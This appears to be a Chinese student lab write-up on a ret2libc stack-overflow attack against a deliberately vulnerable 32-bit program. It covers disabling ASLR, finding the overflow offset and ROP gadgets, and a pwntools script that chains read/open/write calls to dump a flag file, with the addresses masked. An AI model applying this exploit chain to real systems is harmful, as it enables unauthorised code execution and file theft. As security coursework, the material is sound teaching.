【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

article/2025/10/13 19:36:29

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。

在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>void start() {printf("IOLI Crackme Level 0x00\n");printf("Password:");char buf[64];memset(buf, 0, sizeof(buf));read(0, buf, 256);if (!strcmp(buf, "250382"))printf("Password OK :)\n");elseprintf("Invalid Password!\n");
}int main(int argc, char *argv[]) {setreuid(geteuid(), geteuid());setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF,0);start();return 0;
}

        其中不难发现read的数量大于Buf应该有的64个字节,显然这种情况会导致栈溢出,并且覆盖start函数的返回地址,进而给攻击者留下可乘之机。

        在本次作业中,我使用的系统版本是:Linux version 5.13.0-28-generic (buildd@lgw01-amd64-035) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022

        关闭ASLR:

sudo sysctl -w kernel.randomize_va_space=0

        首先对stack.c程序进行编译,本次作业为了简化操作,使用的是32位的编译方式,同时关闭栈保护,具体而言,编译命令是:

gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack

        -g是为了后期进行gdb调试,其他的操作在任务书上都有说明,注意,如果-m32出现错误,可能是系统本身并没有32位的库,可以通过以下命令来尝试解决

    $ sudo apt-get install gcc-multilib

        那么我们现在显然已经有了一个编译完成了的stack的程序,我们来看看他溢出的话会在哪个地址具体溢出,使用以下命令:

ulimit -c unlimited

        这个命令可以让核心转储,进而让攻击者看到溢出的eip内容,进而确认溢出的内容。然后输入以下内容创造溢出:

        如果是Kali的话,你的core会直接出现在文件的旁边,但是对于Ubuntu而言,你会发现core似乎没有出现在文件的附近,对于这种情况,你可以使用这种方法来寻找core:r

sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

        然后去tmp里面找core,找到自己的core,用GDB查看溢出到EIP内容:

 

         可以看到你的eip为61616174,他的ASCII码值是aaat,通过指令判断偏移值:

cyclic -l 'aaat'

        得到的数值是73,但是由于是小端对齐(这个我也不确定),所以应该在76位置写入,记录该数值。(具体会因环境不同而不同)

        由于没有开启地址随机化,所以在这里函数的地址是固定的,然后我们需要找到各种功能库函数的地址,根据提示,我们需要找到exit(),read(),write()函数的地址,一般来说,你可以直接通过gdb函数去找到函数的偏移值,然后去加上库函数的地址(例如找read的话就在调试的时候输入p read,就会显示出一个地址),不过我们在这里可以用一下老师的方法,具体而言,第一步是查看程序调用了系统的哪个库函数:

        可以看到我们的调用的库函数是 /lib/i386-linux-gnu/libc.so.6,那么

        将000340d0+f7d36000相加,即可得到此时exit的地址(该地址会随环境不同而不同)

        如法炮制,找到其他函数地址,将其记录。

        最后我们要找到 pop ret 和pop ret ret以及其他操作(我们需要这个作为返回地址,好让我们可以弹出参数然后通过ret进入下一个系统函数),使用Ropgadget去寻找:

ropper --file ./stack_test | grep "pop" | grep "ret"

 

 得到相应地址,PPPR是0x08049401,PPR是0x08049402,PR是PPPR是0x08049403

        至此所有需要的地址都获取完毕,填入老师给的攻击代码,运行,作业第一部分完成:

from pwn import *
p = process("./stack2")PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********num=**
payload = b'A' * num#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#open
payload += p32(0x********)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)#write
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(100)payload += p32(0x********)
payload += p32(0xdeadbeef)
payload += p32(2)p.sendline(payload)p.interactive()

         可以看到攻击结果:

        已经成功读出了flag的内容(注意,flag内容需要自行创建) 

        


http://chatgpt.dhexx.cn/article/EGNPjQ1H.shtml

相关文章

Linux ALSA声卡驱动之五:移动设备中的ALSA(ASoC)

1. ASoC的由来 ASoC--ALSA System on Chip &#xff0c;是建立在标准ALSA驱动层上&#xff0c;为了更好地支持嵌入式处理器和移动设备中的音频Codec的一套软件体系。在ASoc出现之前&#xff0c;内核对于SoC中的音频已经有部分的支持&#xff0c;不过会有一些局限性&#xff1a…

astrill android,Astrill

你想知道你所用的网络速度是多少吗&#xff1f;你想在全球任何地方都可以使用到手机网络吗&#xff1f;你想在需要下载文件时定位到信号最强的地方进行传输吗&#xff1f;小编今天为企业家和用户安利一款手机测速游戏——Astrill APP&#xff01;用户可以随时随地的查询到自己的…

Linux下 ASLR功能与 -no-pie 选项说明

一. Linux下ASLR功能 1. ASLR 技术介绍 ASLR 技术是一种针对缓冲区溢出的安全保护技术。 ASLR&#xff0c;全称为 Address Space Layout Randomzation&#xff0c;地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统&#xff0c;它将进程…

ASLR和PIE的区别和作用

ASLR和PIE的区别和作用 ASLR的作用 首先ASLR是归属于系统功能的&#xff0c; aslr是一种针对缓冲区溢出的安全保护技术&#xff0c;通过对堆、栈、共享库映射等线性区布局的随机化&#xff0c;通过增加攻击者预测目的地址的难度&#xff0c;防止攻击者直接定位攻击代码位置&…

Linux下关闭ASLR(地址空间随机化)的方法

##0x00 背景知识 ASLR(Address Space Layout Randomization)在2005年被引入到Linux的内核 kernel 2.6.12 中&#xff0c;当然早在2004年就以patch的形式被引入。随着内存地址的随机化&#xff0c;使得响应的应用变得随机。这意味着同一应用多次执行所使用内存空间完全不同&…

ASLR技术

简述 ASLR&#xff08;Address Space Layout Randmoization&#xff0c;地址空间布局随机化&#xff09;是一种针对于缓冲区溢出的安全保护技术。 windows 内核版本 OS内核版本windows 20005.0windows XP5.1windows Server 20035.2windows Vista6.0windows Server 20086.0wi…

ASLR

ASLR 一、ASLR是什么&#xff1f;二、测试ASLR技术1.一个简单的源文件2.生成ALSR.exe与ALSR_no.exe3.使用OllDbg调试器查看程序入口地址与栈地址3.1 ASLR.exe3.2 ASLR_no.exe 4.使用CFF Explorer查看PE文件信息4.1 重定位表的区别4.2 IMAGE_FILE_HEADER/Characteristics属性4.3…

[ASLR,地址空间,Linux,随机化,Windows]ASLR 是如何保护 Linux 系统免受缓冲区溢出攻击的

地址空间随机化&#xff08;ASLR&#xff09;是一种内存攻击缓解技术&#xff0c;可以用于 Linux 和 Windows 系统。了解一下如何运行它、启用/禁用它&#xff0c;以及它是如何工作的。 -- Sandra Henry-stocker 地址空间随机化(Address Space Layout Randomization)&#xff0…

ALSR

一 ALSR介绍&#xff1a; 1.1定义 aslr是一种针对缓冲区溢出的安全保护技术&#xff0c;通过对堆、栈、共享库映射等线性区布局的随机化&#xff0c;通过增加攻击者预测目的地址的难度&#xff0c;防止攻击者直接定位攻击代码位置&#xff0c;达到阻止溢出攻击的目的的一种技…

如何提高强化学习算法模型的泛化能力?

深度强化学习实验室 官网&#xff1a;http://www.neurondance.com/ 来源&#xff1a;https://zhuanlan.zhihu.com/p/328287119 作者&#xff1a;网易伏羲实验室 编辑&#xff1a;DeepRL 在深度学习中&#xff0c;模型很容易过拟合到参与训练的数据集。因此&#xff0c;深度学习…

BatchFormer:有效提升数据稀缺场景的模型泛化能力|CVPR2022

文 | 侯志知乎&#xff08;已授权&#xff09;源 | 极市平台 摘要 当前的深度神经网络尽管已经取得了巨大的成功&#xff0c;但仍然面临着来自于数据稀缺的各种挑战&#xff0c;比如数据不平衡&#xff0c;零样本分布&#xff0c;域适应等等。 当前已经有各种方法通过样本之间的…

图解深度学习-提高泛化能力的方法

数据集 在深度学习的训练过程中&#xff0c;神经网络的类型和结构固然重要&#xff0c;但训练样本才是重中之重。 数据增强 当训练样本数量较少时&#xff0c;可以通过数据增强来增加样本的多样性。 数据增强就是通过对样本图像进行平移、旋转、镜像翻转等方式进行变换。除…

JAVASE提高 -- Java泛型

1. 泛型类 &#xff08;1&#xff09;使用语法 类名<具体的数据类型> 对象名 new 类名<具体的数据类型>(); &#xff08;2&#xff09;Java1.7以后&#xff0c;后面的<>中的具体的数据类型可以省略不写 类名<具体的数据类型> 对象名 new 类名<&…

【NLP】如何提高模型泛化能力?以中文NER为例

我们知道模型的泛化能力是很重要的&#xff0c;如果一个模型具有很好的泛化性能&#xff0c;那么它往往能够在没有见过的数据上表现良好。以中文命名实体识别为例&#xff0c;在用于评估模型泛化性能的数据集中&#xff0c;我们可能忽略了数据偏差对模型泛化的影响。 论文标题&…

C#提升(一、泛型)

一、什么是泛型 泛型&#xff0c;即“参数化类型” 我们来看以下代码&#xff0c;目的很明确&#xff0c;就是显示参数类型&#xff0c;这种类似的代码或者说只有参数类型不同&#xff0c;但是功能相同时&#xff0c;我们如何让代码写的更优雅&#xff1f; 在泛型没有出现的…

深度学习提高泛化能力的技术

LeetCode题目记录 1.泛化能力&#xff08;generalization&#xff09; 2.正则化&#xff08;regularization&#xff09;2.1 正则化方法 1.泛化能力&#xff08;generalization&#xff09; 对于模型&#xff0c;我们不仅要求它对训练数据集有很好的拟合&#xff08;训练误差&a…

lecture9-提高模型泛化能力的方法

HInton第9课&#xff0c;这节课没有放论文进去。。。。。如有不对之处还望指正。话说hinton的课果然信息量够大。推荐认真看PRML《Pattern Recognition and Machine Learning》。 摘自PRML中22页。 正文&#xff1a; 一、提高泛化方法的概述 在这部分中&#xff0c;将会介绍…

思考深度学习的泛化能力

神经网络通过记忆学习 传统观点论文观点论文实验 神经网络 不 通过记忆学习参考资料 深度神经网络往往带有大量的参数&#xff0c;但依然表现出很强的泛化能力&#xff08;指训练好的模型在未见过的数据上的表现&#xff09;。 深度神经网络为何会拥有如此强的泛化能力&…

SQL提升(一)

Sql不常见关键字提升 一、前言 Sql是最重要的关系数据库操作语言&#xff0c;现在基本上任何与数据库相关的操作都离不开sql。所以说sql功能是很强大的。 我们常用的sql关键字不外乎 group by;in; where; from; update……等&#xff0c;这些关键字有时组成sql的基础。 但是…

越大的数据集训练,网络泛化能力越强

虽然这个直观很好理解&#xff0c;但我想找这个论点的论文支持&#xff0c;如果再能找张图就好了&#xff0c;下面是过程 首先是On Large-Batch Training for Deep Learning: Generalization Gap and Sharp Minima这篇经典文章&#xff0c;里面的这张flat minima和sharp minim…